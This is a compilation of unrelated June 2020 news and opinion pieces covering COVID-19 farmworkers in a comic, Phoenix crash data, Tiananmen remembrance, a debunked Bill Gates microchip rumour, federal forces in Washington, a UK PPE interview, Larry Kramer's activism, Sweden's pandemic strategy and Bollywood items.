From fighting drug cartels to handing out facemasks, a Latino comicbook superhero has been handed a supporting role to spotlight the role of migrants working unprotected in farms and fields across the United States during the coronavirus pandemic.

El Peso Hero - who uses his superstrength to stop criminals and save migrants from authorities - takes a backseat in the comic strip's latest edition, supporting a nurse to deliver masks and helping farmworkers load produce onto a truck.

Creator Hector Rodriguez said his work - which switches between Spanish and English - aimed to combat negative stereotypes around immigrants, particularly for younger readers.

"Our goal ... is to portray our community in a positive light, to uplift our community," the 37-year-old told the Thomson Reuters Foundation. "Our stories matter."

The plight of millions of workers designated as key during the pandemic - from farm workers to grocery clerks and delivery drivers - has garnered attention, with US lawmakers in April demanding they get better pay, health benefits and safety gear.

Mexican farmworkers in the United States have been working in unsanitary conditions without protective equipment, laborers and advocates have said. The nation now has at least 1.8 million COVID-19 cases and about 104,990 deaths, a Reuters tally showed.

Many of these workers are on temporary work visas, while others are undocumented and have said they fear deportation.

Read also: Marvel releases popular comics for free amid COVID-19 pandemic

In Rodriguez's comic - released online this week - workers fear that an absent colleague may have been deported or infected with COVID-19. When volunteers deliver facemasks, the laborers worry it could be immigration officials coming to detain them.

In previous editions, the young, muscular hero rescued migrants from a detention facility and helped save others from a cartel. The comic gained fame in 2015 when El Peso Hero was featured punching then presidential candidate Donald Trump.

Rodriguez said his own family had moved back and forth across the border throughout history, and that he was now based in Dallas, Texas. He lamented that there were so few Latino superheroes coming from the big comic book producers.

"They've always been B-class, C-class cultural stereotypes."

The next installment of the comic will be centered around police brutality, Rodriguez said.

Protests over the death of George Floyd, an unarmed black man who died in police custody in Minneapolis last week, have spread to dozens of cities in the United States and globally.
Personal injury law firm Begam Marks & Traulsen, P.A. has found recent car accident data that suggests a significant decrease in motor vehicle collisions in Arizona for the year 2020. According to data gathered by the Phoenix Police Department regarding service calls for car accidents, there was a considerable drop in calls this year thus far, compared to monthly totals from 2019.

The three-month period of March through May saw the most significant change: a 34% decrease in total service calls for car accidents in the city of Phoenix. The lowest number of calls came in April, which saw a 49% decrease in car accident calls compared to 2019. When categorized by accident types, April also saw the most significant drops. Compared to 2019, there was a 60% decrease in fatal accident reports, a 46% decrease in injury accident reports, and a 54% decrease in no-injury accident reports.

Due to the circumstances surrounding the COVID-19 pandemic, we expected a decrease in car accidents for this first half of 2020, said Stanley Marks. We just never expected it to be this significant, especially in the highest populated city in Arizona.

Car accidents remain a dangerous problem in Arizona, according to the law firms own studies: in 2018, one person was killed every 8 hours and 39 minutes from a car accident. Additionally, pedestrian studies continue to rise: 2018 saw nearly 9% more pedestrian fatalities than 2017, and nearly 14% of all pedestrian crashes in Arizona were fatal.

However, this recent information may indicate a significant change in car accident statistics for this year. Although we understand that our findings were only regarding the city of Phoenix, its trends have generally determined statewide accident trends, as it is the largest city in Arizona", says Stanley Marks. Therefore, we expect that car accidents in Arizona as a whole have also decreased as a result of the current circumstances.

As the state reopens, it remains to be seen whether the COVID-19 pandemic will impact car accidents for the remainder of the year. We hope that accidents stay low for the safety and wellbeing of all Arizona residents.

For more information on car accident statistics in Arizona, please click here.
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Every year for the past 30 years, crowds have gathered in Hong Kong on June 4th to light candles, hear from former Chinese pro-democracy activists, and mourn the infamous massacre of student demonstrators by the Chinese Peoples Liberation Army in 1989. This year, no legal vigil was permitted, but that didnt stop thousands from bringing white candles to a Hong Kong park to remember the tragedy that came to be known as the Tiananmen Square Massacre.

Hong Kong authorities refused to allow the annual public remembrance to be held this year, claiming to be concerned about the coronavirus, but such displays are always banned on the mainland. Many of the freedom-loving people of Hong Kong  who had long identified with those who called for freedom in Tiananmen Square  now fear the Chinese government is silencing Hong Kong dissenters much like they did in 1989.

Beijing suppresses these annual memorials. Yet, the world must remember the tragedy that took place three decades ago because it reveals what the Chinese government is willing to do  even to its citizens: to squash perceived threats to its authority.

Thirty-one years ago today, the Chinese Peoples Liberation Army fired live ammunition into crowds of their own people. Chinese civilians had been demonstrating in Tiananmen Square in Beijing for weeks, calling for a more democratic government. Their protests ended in a bloody crackdown that shocked the globe.

It is estimated that several hundred to several thousand people died that day, but an official death toll was never released. Family members of the deceased victims still beg for answers.

To this day, the Chinese government does not admit wrongdoing during the Tiananmen Square Massacre. When the government of Taiwan recently called upon Beijing to apologize for the violent crackdown three decades ago, a spokesman defended the legacy of communist party leadership. Chinese Foreign Ministry spokesman Zhao Lijian declared, The great achievements after the founding of new China fully demonstrate that the development path chosen by the new China is totally correct and in line with Chinas national conditions.

Yet, the often-violent legacy of Chinese Communist Party (CCP) rule is nothing to take pride in. Maos Great Leap Forward and Cultural Revolution took drastic human tolls and denied the Chinese people basic human rights.

The Chinese government still withholds such rights from its citizens today. Among them is freedom of religion, a right intimate and fundamental to the human conscience.

In the northwestern region of Xinjiang, the government is in a full-on assault against religion. At least 1.8 million Uyghur Muslims are forcibly detained in internment camps where they are brainwashed and abused. Outside the camps, the rest of the region is patrolled with facial recognition technology and other means to tightly control the oppressed Uyghur minority.

Throughout the mainland, Christians are intimidated, and churches are surveilled as crosses are torn down from their buildings. Well-known house church pastor Wang Yi sits in prison serving a nine-year sentence  a grave reminder to other pastors that they ought not step out of line.

Perhaps most alarmingly, evidence is mounting that the Chinese government is forcibly harvesting organs from political prisoners. These are thought to be mostly from Falun Gong practitioners, a long-persecuted faith group entirely undeserving of the abuse they endure.

The Chinese Communist Party may want the world to forget its ruthless history, but it is critical that we keep the memory of the Tiananmen Square Massacre alive.

The Tiananmen Square Massacre exposed the blatant disregard with which the Chinese Communist Party views human lives. This disregard is unfortunately not relegated to history  it still affects the Chinese people, including religious believers. Today, we remember the Tiananmen Square Massacre and its countless victims. But let us also remember those who continue to suffer under the Chinese governments oppressive policies.
While the United States spends billions in an all-out effort to develop a coronavirus vaccine, theres concern that when there finally is one, not enough people will take it to protect the population as a whole.

Even with a vaccine months and perhaps years away, misinformation and conspiracy theories about vaccines for COVID-19 are swirling online, potentially driving people away from getting vaccinated when one or more become available.

One of the wildest is a false story about a purported evil plan by Microsoft founder Bill Gates to use mass coronavirus vaccinations to implant microchips in billions of people to track their movements.

In a media call announcing $1.6 billion in funding for immunization in poor countries, Gates said the misinformation about his work on vaccines was so weird that he found it difficult to understand  and he categorically denied hes involved in any sort of microchipping conspiracy.

In a way, its so bizarre you almost want to see it as something humorous, but its really not a humorous thing, he said. Its almost hard to deny this stuff because its so stupid or strange that even to repeat it gives it credibility.

Belief in the conspiracy theory also is political. In a poll conducted May 20 and 21 by Yahoo/YouGov, 44% of Republicans said they believed the microchip conspiracy theory, compared with 19% of Democrats.

More: Fact check: Feds buy syringes that may have RFID chips, but no evidence COVID-19 vaccination required

More: Fact check: Dr. Anthony Fauci, Bill Gates won't profit from drug remdesivir

Health officials worry that if too many Americans decline to get vaccinated against SARS-CoV-2, the virus that causes COVID-19, the nation could find itself in a position where the disease continues to widely circulate despite a vaccine being available.

The goal is to create herd immunity, where enough people in the population have been infected and developed immunity to the virus that it can no longer spread freely. Scientists estimate 60 to 70% of the population needs to be immune to establish such immunity and stop the spread of COVID-19.

Story continues

Some have argued that simply letting the virus run free will create sufficient herd immunity, but the United States is nowhere near that level. Even in New York City, which experienced high rates of COVID-19 infection, only 20% of people tested had antibodies against the virus, according to testing done by the state of New York.

A Yahoo News/YouGov poll last month found that 19% of Americans said they wont get vaccinated when a vaccine is available and 26% werent sure whether they would. Public health officials hope that when a vaccine is ready, the lure of regaining normalcy will overcome vaccine hesitancy.

This illness has been so severe, I thought the anti-vaccine folks would be more muted in their approach, but this is apparently not the case, said William Schaffner, a professor in the division of preventive medicine and infectious disease at Vanderbilt University in Nashville, Tennessee.

He sees three groups emerging when a vaccine does become available.

There will be people who will immediately line up just as they lined up their children for the Salk vaccine in the polio days. They will trust the science, they will be optimistic," he said. "Then there will be others that will hang back and let this play out a little bit before they roll up their sleeves.

The final group are already strongly skeptical of vaccines and will actively push back against them.

More: A coronavirus vaccine could require you to get two shots. Here's why.

Vaccines: Breaking down and debunking 10 myths

Origins of microchip myth may lie in MIT research

Gates and his wife created the Bill and Melinda Gates Foundation in 2000 with a special focus on health care and education. The Foundation recently announced that it was committing $1.6 billion to work to deliver vaccines to the worlds poorest countries through the Vaccine Alliance.

Gates also is committing $100 million to purchase COVID-19 vaccines for lower-income countries.

Its possible the microchipping conspiracy theory may have had its roots in a small study funded by his foundation and published in December.

It involved technology developed at the Massachusetts Institute of Technology to include a tiny bit of dye with vaccines. The dye would be invisible to the naked eye but could be seen with a cellphone app that shines near-infrared light onto the skin.

The dye would last up to five years and allow medical workers to immediately know whether a child had gotten their vaccinations or not, which can be difficult to do in developing countries.

Health care workers get vaccinated against influenza in 2019. Photo courtesy of the Immunization Action Coalition.

A study explaining the technique was published in December in the journal Science Translational Medicine, but the technique was tested only in animals, never in children, and has never been put into use.

The vaccine chip fantasy appears to have first appeared in late February or early March, said Dr. Saad Omer, a professor of infectious disease at the Yale School of Medicine who researches ways to increase immunization acceptance.

In the recent media call, Gates said health records that allow health workers to know which children have gotten measles vaccines, for example, and which still need them is important for public health.

Thats not a chip, he said.

A 'perfect storm' for conspiracies

The conspiracy theory doesnt surprise those who study the anti-vaccine phenomenon. COVID-19 has all the triggers rolled into one, said Matthew Hornsey, a social psychologist at the University of Queensland in Australia who studies the processes that influence people to accept or reject scientific messages.

Its frightening; its hard to understand; its required governments to restrict individual freedoms and it will lead to mass vaccinations. Thats a perfect storm for conspiracy theories, he said.

The combination of those opposed to vaccination and the murky world of conspiracy theories is a toxic one.

Here, people have a single issue that they have rallied behind; they dont trust vaccinations. Conspiracy theories are then selectively embraced to justify that feeling," he said. "Thats why people are prepared to believe ideas that seem strange and ridiculous to the rest of us. They want to believe it, so they set a very low bar for evidence.

As the United States invests literally billions of dollars into developing coronavirus vaccines so that life can return to normal, it will be crucial to encourage a social climate where vaccination is considered the norm, Yale's Omer said.

The best way to do that is not to argue, but to set an example by telling friends and family that you intend to get vaccinated, he said.

Make sure people know its a social norm, but dont push it too much, he said. If yelling at people were a good idea, then teenagers would always win their arguments.

This article originally appeared on USA TODAY: Coronavirus vaccine: Bill Gates microchip conspiracy theory false
WASHINGTON  A leaked Trump administration document details the federal law enforcement and military personnel squaring off against protesters in Washington, D.C., including a 1,300-strong force currently deployed to the south side of the White House.

Thousands of federal law enforcement and military personnel have been called to Washington to respond to growing demonstrations sparked by the death of George Floyd, an African-American man who was killed by Minneapolis police on May 25, but the Trump administration has so far refused to disclose many of the details about who is policing the nations capital.

An internal report obtained by Yahoo News shows which agencies are involved.

The show of force outside the White House is a task force operation that includes U.S. Secret Service, National Guard, Customs and Border Protection and U.S. Park Police, according to the internal Department of Homeland Security report, dated June 4. They arent the only ones in town: Border Patrol, U.S. Immigration and Customs Enforcement, Transportation Security Administration, National Guard, Coast Guard, Federal Protective Service and more have been called in, says the document, which details DHS component deployments to Washington and elsewhere around the country in response to protests over the death of Floyd.

Thousands more  from at least a dozen federal agencies or divisions  have been deployed across the capital region and to cities big and small across the U.S. where peaceful protests have been held or are expected.

Elite SWAT teams from the Border Patrol and sniper-trained units from ICE have also descended upon Washington. TSAs air marshals arrived too, and three of the agencys VIPR teams, which have previously faced criticism for not coordinating well with local law enforcement. Eight Coast Guard investigators were deputized by the Department of Justice upon arrival in Washington, though it remains unclear how they are being deployed.

Story continues

U.S. military troops disembark from tour buses as they deploy inside the security perimeter at the White House as the George Floyd and police brutality protests continue in Washington on Thursday, June 4, 2020. (Bill Clark/CQ-Roll Call, Inc via Getty Images)

The growing military and law enforcement presence in Washington has sparked concern from lawmakers, protesters and the press, while the White House has provided scant information on it. House Speaker Nancy Pelosi sent a letter to President Trump on Thursday requesting details on the military and law enforcement presence in the nations capital.

We are concerned about the increased militarization and lack of clarity that may increase chaos. I am writing to request a full list of the agencies involved and clarifications of the roles and responsibilities of the troops and federal law enforcement resources operating in the city, Pelosi wrote.

Congress and the American people need to know who is in charge, what is the chain of command, what is the mission, and by what authority is the National Guard from other states operating in the capital, she continued.

Pelosis office told Yahoo News that as of Friday morning she had not received a response from the White House.

The June 4 DHS report comes as protests entered their ninth day and amid growing calls for law enforcement transparency. Of particular concern among the alphabet soup of agencies is that some of those on patrol have not been wearing insignia designating which agency they come from, raising more concerns about accountability.

The mayor of Washington, D.C., has likewise said she doesnt know which federal law enforcement agency was operating in her city. I continue to be concerned about unidentified federal personnel patrolling the streets of Washington, D.C., pose both safety and national security risks, she wrote in a June 4 letter to the White House.

The White House and the Department of Homeland Security did not respond to requests for comment, but the document obtained by Yahoo News appears to answer at least some of the questions posed by Pelosi and others about the presence of federal law enforcement in Washington.

A military vehicle passes behind law enforcement personnel as protesters rally near the White House on Wednesday against the death of George Floyd. (Tom Brenner/Reuters)

As of noon Thursday, DHS had 770 personnel in Washington to assist with response to the protests, including agents from ICE; Customs and Border Protection; the TSA, including Federal Air Marshals and the Federal Protective Service. The deployed personnel to Washington included sniper-trained rapid response units, such as Border Patrols elite tactical unit, BORTAC.

Two federal air marshals who spoke to Yahoo News said some air marshals deployed to Washington found themselves in the middle of a tug-of-war with TSA lawyers, who were concerned about deploying them in response to the protests.

Our VIPR teams were called up, some actually sent to D.C., then ordered to stand down and return back to their offices, one air marshal told Yahoo News. TSA regulatory lawyers were concerned even though our [Federal Air Marshals] were sworn in as U.S. Marshals.

The document also provides some details about personnel from other agencies and departments now operating in the capital, including the Defense and Justice Departments and helicopters, drones and other mobile surveillance or tactical resources that have been called into Washington, New York and other cities.

Also mentioned in the report is that the Coast Guard provided drone surveillance capabilities to support the New York Police Department in its response to civil unrest. NYPD also has officers present in the U.S. Secret Service command post in Trump Tower.

It is unclear why the White House has not provided details about federal law enforcement in the capital. The DHS document was distributed to the departments headquarters and to the leadership of each of the DHS components, including FEMA, CBP, Coast Guard, Secret Service, TSA, Federal Protective Service and several other agencies and divisions.

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Within 72 hours this week, Alisa Bowens-Mercado said she was tagged in more social media posts than ever and her Instagram following tripled. She has to keep her phone on the charger at all times because all the messages and calls she's receiving are draining her battery.

Bowens-Mercado owns Rhythm Brewing Co. in New Haven; she is the first Black brewery owner in the state and was named one of the best breweries in the country by Travel Noir.

Calls to action to support Black-owned businesses have been popping up on social media feeds since the May 25 death of George Floyd, a Minnesota man whose alleged killer, police officer Derek Chauvin, has been charged with second-degree murder. Three other officers face charges related to Floyd's death. The calls to action only increased with #blackouttuesday, an international movement that swept social media earlier this week.

Bowens-Mercado said she is "humbled" by the support she is seeing.

As of June 4, the hashtag #blackownedbusiness had over three million posts. Sites like New York Magazine, Oprah Magazine and many others have posted lists of Black-owned businesses around the country. In Connecticut, CT Eats Out has rounded up Black-owned restaurants in the state and an Instagram page called Collective Resistance CT has begun compiling a list of Black-owned businesses in general in Connecticut.

Scroll to bottom find these and other resources supporting the Black business community in Connecticut.

It's a call to action that Henry Young, President of the National Black MBA Association, Greater Hartford Chapter, said could have a great effect on the Black community.

"At the surface it's about justice and police treatment," he said in regard to protests after the death of George Floyd. "But we know that throughout history, Black communities and communities of color are worse off." Young cited that the coronavirus pandemic hit Black communities harder both economically and health-wise.
Despite tumbling infection rates, there is not the faintest hint of triumphalism here at the south London nerve centre of the national fight against coronavirus.

And the man whose task is to protect all those on the front line has a very simple plan of action when it comes to future shortages of kit: Never again.

'I'm already planning for the second wave,' says Lord Deighton, the Government's 'PPE tsar', in his first interview since taking charge of the national supply of personal protective equipment.

PPE tsar Lord Deighton (pictured) has a very simple plan of action when it comes to future shortages of kit: Never again. He said he is already planning for the second wave, in his first interview since taking charge of the national PPE supply

We meet at the Southwark HQ of the NHS. It is seven weeks since this ex-banker with a track record in 'big things'  not least delivering the London Olympics  was personally appointed by Boris Johnson.

His task was to get a grip on UK reserves of PPE and to ensure that our healthcare sector never again has to endure those tragic stories which were so prevalent in the early days of this pandemic.

When Lord Deighton arrived, there had been shocking reports of doctors and nurses being despatched in to the Covid trenches in flimsy, sub-standard scrubs; of nurses tending to Covid-positive patients wearing binliners for aprons (and testing positive for the virus days later); of carers being left to fight the virus with washing-up gloves; of deadly infections tearing through unprotected nursing homes like wildfire; of delay upon delay in sourcing fresh equipment from overseas  only for some items to be deemed unusable.

And then, in the midst of it all, the Prime Minister himself was laid low.

It was an appalling situation, one which prompted the Daily Mail to set up Mail Force, the charity which is now delivering millions of pieces of PPE to those in greatest need of it.

At the same time, the Government received a message from a man they knew well.

'My wife said to me: 'You need to do something here',' recalls Lord Deighton. 'So I got in touch with Number Ten.'

They said: 'Come and help with PPE.'

I started with a seven-day plan and then a 90-day plan. Now, we're looking at a two-year plan and a ten-year plan.'

Some have likened the PPE tsar to Lord Beaverbrook (left), the famously combative press baron appointed by Churchill as Minister of Aircraft Production, but Lord Deighton favours a more collegiate approach

But while he has no expertise in epidemiology, the man who served as minister for national infrastructure during the Coalition years knows that his latest 'big thing' is not going away.

And he is adamant that come the next phase of this virus, the UK will be in a very different state of readiness.

'If we find ourselves in this situation again, we don't want to be relying on people we've never dealt with before. We want to really know who can supply us in times of stress and strain.'

Every NHS hospital, he says, is now automatically resupplied if any item is within 72 hours of running out.

It is a different picture in care homes, however. There, some staff still report adequate kit is either hard to come by or unaffordable.

But Lord Deighton insists things are on the up, that 'local resilience forums' and a new internet portal are ready to cope. 'I do measure what's going on and requests to the emergency hotline.

HERE'S HOW TO DONATE Mail Force Charity has been launched with one aim to help support NHS staff, volunteers and care workers fight back against Covid-1 in the UK. Mail Force is a separate charity established and supported by the Daily Mail and General Trust. The money raised will fund essential equipment required by the NHS and care workers. This equipment is vital in protecting the heroic staff whilst they perform their fantastic work in helping the UK overcome this pandemic. If we raise more money than is needed for vital Covid-1 equipment, we will apply all funds to support the work of the NHS in other ways. Click the button below to make a donation: DONATE NOW If the button is not visible, click here Advertisement

At the end of April there were about 400 a day. Now, there are about 30.'

Now that the national supply is no longer on the brink of catastrophe, his priority is creating a serious British PPE capability.

Hence, today's announcement of four new Government partnerships with British companies which will be producing millions of hospital gowns, aprons and visors.

Being neither a politician nor on the payroll, he seems to find it easier to admit when things are not as they should be.

Appearing before this week's health committee, Lord Deighton acknowledged some companies had faced over-zealous Whitehall bureaucracy.

Then he said something highly unusual: 'I apologise for that.'

However, he is clearly relishing being reunited with a former colleague.

In 2012, Boris Johnson was London Mayor and Paul Deighton - previously chief operating officer at Goldman Sachs - was the chief executive of the body which organised the 2012 Olympic Games.

Despite the tag of 'PPE tsar', he is not really sure of his real title since he has neither a formal contract nor a salary. 'I think I signed some sort of volunteer agreement,' he says.

Though some have likened him to Lord Beaverbrook, the famously combative press baron appointed by Churchill as Minister of Aircraft Production on the eve of the Battle of Britain, Lord Deighton favours a more collegiate approach.

He says he was very impressed by what he found at the procurement offices of the NHS.

'Had I found that things here weren't working or we had dysfunctional relationships, I would have changed it. But actually the only difficult thing I found here was that people were quite tired.'

Staff were soon encouraged to take at least one day off each weekend. There was another reminder of the 2012 Games  khaki in the corridors. It was the Army who saved the day when the security company hired for the Olympics failed to deliver.

All three Services are now a key part of PPE logistics. 'The Army are used to finding smoke and everything burning when they come in to a situation. It's a great business lesson.'

The Daily Mail set up Mail Force, the charity which is now delivering millions of pieces of PPE to those in greatest need of it. Pictured (left to right), Wishmore Care Home's Mel Lengthorn, Debbie Fidgety, and carer Camilla Michalik receiving a Mail Force delivery in Malvern

A wiry, self-confessed fitness fanatic, he unwinds by going for a run. Despite reaping great rewards from his shares in Goldman Sachs, he still likes to walk around London and is one of very few multi-millionaires currently using the Underground.

'I go to work on the Tube every day. I like to be in complete control of how long something's going to take. So walking is the best way and public transport is number two.'

He will have the mandatory face covering when he boards the Tube next week but is adamant it will not be a hospital mask.

'A neighbour made me a nice face scarf,' he says, 'but I won't be using valuable PPE. And nor should anyone.'

At the age of 64 does he not fear catching the dreaded bug?

'I think I had Covid very early on,' he says brightly. 'I was actually in Tokyo in February. I think I got it there, not that I've had any tests.'

Is he not tempted to have an antibody test?

'Not really  unless that helps me get into the US. My granddaughter was born six weeks ago in New York and I still haven't seen her!'
When I think about Larry Kramer, the AIDS activist who died last week at the age of 84, I can hear his voice: loud, urgent, filled with this righteous anger. Larry was tough and uncompromising. But thats why, as New York magazine writer Mark Harris says, You cant make progress without people like Larry Kramer. Larrys life was shaped by pandemic and protestand the way he effected change holds many lessons for todays movements.

On Thursdays episode of What Next, I spoke with Harris about the brash nature of Kramers activism, the wide-ranging impact he made, and what lessons he would have for todays activists. Our conversation has been edited and condensed for clarity.

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Mary Harris: Larry Kramer burned through his life as if he didnt expect to make it to 84. He was a relentlessly hard worker. As a writer and a satirist, he was nominated for both an Academy Award and a Pulitzer Prize. But AIDS activism was his calling.

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Mark Harris: Larry Kramer was an artist and he was an activist. Most times, when you say that about someone, one of those things takes a back seat to the other. We have great artists who also contribute some activism to the world, and we have great activists who were also OK artists. But with Kramer, youre talking about someone who was really important in both categories. As a novelist, he wrote Faggots, which was a really important step in in gay novels in the 1970s. And of course, The Normal Heart, which is a genuinely activist play and a genuine work of art, an unbelievably tough combination to pull off.

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When you talk about his bravery, you have to talk about the bravery of being willing to take a stand that will alienate people who should be on your side.  Mark Harris

Faggots pissed a lot of people off.

Absolutely. Kramer didnt write or do anything in the 70s or 80s without some gay people saying, Youre not helping the cause, youre hurting the cause. The most famous essay he wrote was a piece called 1,112 and Counting in the New York Native. It was the first major piece to a very, very loud alarm from a gay man to the gay community about the AIDS epidemic. It infuriated a lot of gay people when it was published.

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What about it made people angry?

Everyone was OK with shaking a fist at the Republican government, the Reagan administration, the scientific community, the medical community, all of which were either ignoring this or demonizing people. 1,112 and Counting was that. But it was also a piece that said we have to wake up: Our community is sleepwalking through this and were walking into our own graves. Kramer really took to task people in the gay community who he did not feel were taking the AIDS crisis sufficiently seriously. And he said, we have to change our behavior because its killing us.

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So he got accused in the most strident terms of being a prude, of being sex-negative, of being someone who hates gay people, of being someone who hates gay sex, of being someone who was mad to be left out of the party and all the fun and who wanted everybody elses fun destroyed. When you talk about his bravery as an activist, you have to talk about the bravery of being willing to take a stand that will alienate some of the people who should be on your side.

What Kramer ultimately did, over the years, was fight for his seat at the table.

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Two years after 1,112 and Counting was published, Kramer did the first of the two things that perhaps constituted his most lasting legacy as an activist: He co-founded GMHC, the Gay Mens Health Crisis. A couple of years after that, he founded the AIDS Coalition to Unleash Power, which we now know as ACT UP and which is still around, as is GMHC. ACT UP became an incredibly important protest group, and GMHC, over the years and decades, moved from being a small local grassroots organization to a major national fundraiser and a central point for gay activism.

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I think its important to remember that anger that ACT UP channeled. I wonder if theres one scene, one protest that would emphasize that.

The one Im thinking of was in St. Patricks Cathedral and was a very, very famous protest. In 1989, then-Cardinal John OConnor was giving a mass at St. Patricks in New York City and ACT UP disrupted it. They were specifically protesting the fact that OConnor was fighting against teaching safe sex in public schools and distributing condoms. They lay down in in the church, I mean, St. Patricks is big. That was an incredibly important protest because the mainstream reaction to it was This goes too far. Im sorry for gay people, but how dare they disrupt the Catholic Mass? And there was a portion of the gay community that thought, This hurts our cause. We look like extremists. We dont have anything to gain by alienating Catholics this way.

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I think the one thing Kramer really understood was that not only would an activist movement survive mainstream accusations of bad taste or inappropriateness, but sometimes you had to do that. You literally had lay down your body in an aisle of St. Patricks Cathedral. You had to yell at the top Catholic Church official in New York CityYoure killing us!to get people to pay attention.

I want to talk a little bit about Kramers relationship with Anthony Fauci, because Fauci worked on AIDS at the National Institutes of Health for years. I feel like their relationship is instructive because it shows how two people can respect each other even if they dont necessarily agree. And they dont have to be nice to each otherthey can push each other. I found a C-SPAN clip from 1993. Kramer and Fauci are there together talking about a new presidential AIDS task force. And Kramer is so frustrated. He literally says to Fauci that the president is taking Faucis balls away. I wonder if you can talk about their relationship and describe it, because it seems so unique but also very powerful.

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I think, as weve watched Fauci over the past three months, weve seen that he is an incredibly patient person who can withstand a lot if he thinks the public health goal is worth it. When youre talking about the relationship between Kramer and Fauci, you have to give Fauci credit for never walking away from that relationship. He is someone who is willing to be excoriated, willing to be yelled at, and doesnt stop listening. The lesson of his career is really different than the lesson of Kramers. And its not a lesson for activists. Its a lesson for the people whom activists are yelling at and angry at: Dont prioritize your sense of personal injury or your hurt feelings. Listen to what theyre angry about and see if they have a point and be honest with yourself about whether theyre right. And if they are right, figure out how to work with them.

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Fauci kept coming back. He didnt give up on Kramer, and Kramer did not give up on that fight. He kept that relationship going privately because he knew it was important to him and to the cause. And maybe he also liked Fauci. I think theres no question that Kramer had respect for him.

I found this other moment of Kramer talking from 1993: He was talking about what change looks like. Hes telling the audience, You have power, your power is your voice. But before that, he says something else about red ribbons: Im sick of them and I dont wear them anymore. Instead of wearing a ribbon, he wants people to do something. And it stood out to me because in this moment, I think a lot of people are struggling with what they can do. How can they be allies to the people around them? This week we had this Instagram blackout, with people just posting black squares. I wondered what Kramer would have thought about that.

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I would never want to speak for Kramer because I still believe that he has the power to yell at someone for getting it wrong. But I dont think that Kramer would have been a big fan of the empty gesture or a visual gesture, whether it was a red ribbon or a black Instagram square, that stands in the place of actually doing something. I especially dont think he would have been a fan of the point of that particular protest this week, which was that everyone should stop talking.

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I mean, ACT UP had a theme: Silence equals death.

Im not disparaging this for people who want to do it. In some ways, it is better than nothing. I think there are probably some people whod freak out members of their own family by doing that. A meaningless gesture for a corporation can be a meaningful gesture for one particular person. Activism is are not a one-size-fits-all thing. But Kramer was certainly not a big fan of empty gestures.

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Kramer had this singular devotion to LGBTQ liberation. But the moment were in now is about so much at once: Theres a health crisis and protests against police violence and this economic devastation. I wonder if that complexity makes it hard to replicate what Kramer did.

Its really hard. I also think its important to remember that what Kramer did was not a completely worked out preplanned strategy. It was full of fits and starts. It was full of organizations that he started and then had a bitter rift with. It changed along the way as the world changed, as the plague changed. So if theres a lesson for todays activists, its probably that have to keep your eye on the long-term goal, but you also have to wake up every day and think, OK, where are we right now? What circumstances have changed since yesterday? How do I need to respond to this moment? I think that is the great challenge for activists right now: to be both farsighted and extremely short-term, to be both idealistic and pragmatic, to think about today and think about the horizon.

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And to not get discouraged by mess along the way, because the work is messy.

Thats a great point. Dont get discouraged by mess. Its been, to put it very mildly, a messy week and a messy year. And when there is mess, there will always be people who are ready to say, Its a shame that the whole point of the protest was ruined by blah blah blah. It wasnt. It isnt.

Listen to the full episode using the player below, or subscribe to What Next on Apple Podcasts, Overcast, Spotify, Stitcher, or wherever you get your podcasts.
Dr Anders Tegnell, the man behind Swedens coronavirus response, reportedly admitted that the decision to not impose strict lockdown and restrictions on movement has resulted in too many deaths. Dr Tegnell told Swedish radio that there is quite obviously a potential for improvement in the action taken by the government.

Sweden has reported 41,883 confirmed cases of coronavirus and over 4,500 deaths related to the infectious disease so far. On June 3, it reported the highest single-day jump with 2,214 COVID-19 cases, a sharp rise from 775 cases a day earlier. The deaths in Sweden has been too high compared to the neighbouring countries that imposed strict lockdowns to contain the virus.

Norway, Finland, and Denmark, the other Nordic countries, have together reported less than 28,000 cases of coronavirus and less than 1,200 deaths so far. Dr Tegnell had earlier defended the decision saying the high death toll was mainly due to the elderly homes that failed to keep the virus out.

Read: Sweden: Tension Between Police And Protesters Boil Over

'Always room for improvement'

The state epidemiologist has now said that the government, with an advantage of hindsight, would settle on a middle ground of what Sweden did and what the rest of the world has done. However, he didnt elaborate on what the government should have done differently and later, at a press conference, asserted that they still think the strategy was right.

We still believe that our strategy is good, but there is always room for improvement. ... You can always get better at this job, said Dr Tegnell.

Last month, Swedish Prime Minister Stefan Lofven defended the strategy even after more than 3,500 had lost their lives to the deadly virus. Addressing foreign correspondents in Stockholm, Lofven said that many people are staying at home, which has had a positive effect on limiting the spread of the virus.

Of course, we are painfully aware that too many people have lost their lives due to COVID-19," he added.

Read: Sweden Steadfast In Strategy As Virus Toll Continues Rising

Read: Explainer: As Sweden Attempts To Achieve Herd Immunity Against COVID, Here's What It Means

(Inputs / Image: AP)
Chintu Ka Birthday movie review: Vinay Pathak, Tillotama Shome film feels like a bite of sugary cake during these bleak times

How challenging can it be for a middle-class couple to throw a birthday party for their child? All you need is a bit of tinsel and cake. For six-year-old Chintu, stuck in war-torn Iraq with his family, a party is a distant dream. He was unable to celebrate his birthday last year and his family has promised him double the fun this year -- they will ensure Chintu will get the birthday party he deserves.

(Read full story here)

Choked movie review: Anurag Kashyaps Netflix film cashes in on demonetisation

Hugely enjoyable but slightly ham-fisted, Netflixs Choked is a minor film from a major filmmaker; a kitchen sink drama in which an actual kitchen sink plays a pivotal role. Retrofitted by director Anurag Kashyap to suit his singular sensibilities, Choked is another attempt by the prolific filmmaker to unpack contemporary socio-political themes through the prism of genre cinema  its a magic-realist metaphor for clogged dreams, and a striking satire of sycophancy.

(Read full story here)

Basu Chatterjees funeral: Family and friends bid filmmaker a final goodbye, see pics

Family, friends and Bollywood colleagues of late filmmaker Basu Chatterjee arrived at Santa Cruz crematorium to bid him a final goodbye on Thursday afternoon. Basu died on Thursday morning following age related health issues. He was 90.

(Read full story here)

Anushka Sharma, Virat Kohli show off spectacular view from their home, watch video here

Anushka Sharma has shared a short video of gathering storm clouds, taken from her home in Mumbai. The city survived the landfall of Cyclone Nisarga on Wednesday, and welcomed the first rains of the monsoon season.

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Step inside Amitabh Bachchans eclectic home Jalsa, a palace fit for Bollywood royalty

Modern interior design aesthetic may be all about minimalism and a light, airy vibe but not for the Bachchan family. Amitabh Bachchans famous Mumbai mansion, Jalsa is all about eclectic furniture, bold wall prints and statement art pieces.

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Jaipur, June 5 : A video has gone viral on social media showing what could be called Jodhpur's George Floyd moment with a twist, showing cops throwing a person on the ground and pressing his neck with their knees for roaming around without a mask.

However, unlike the unfortunate incident in Minneapolis, Minnesota, the cops in Jodhpur reportedly acted after the person, said to be mentally challenged, turned violent after being confronted by the police.

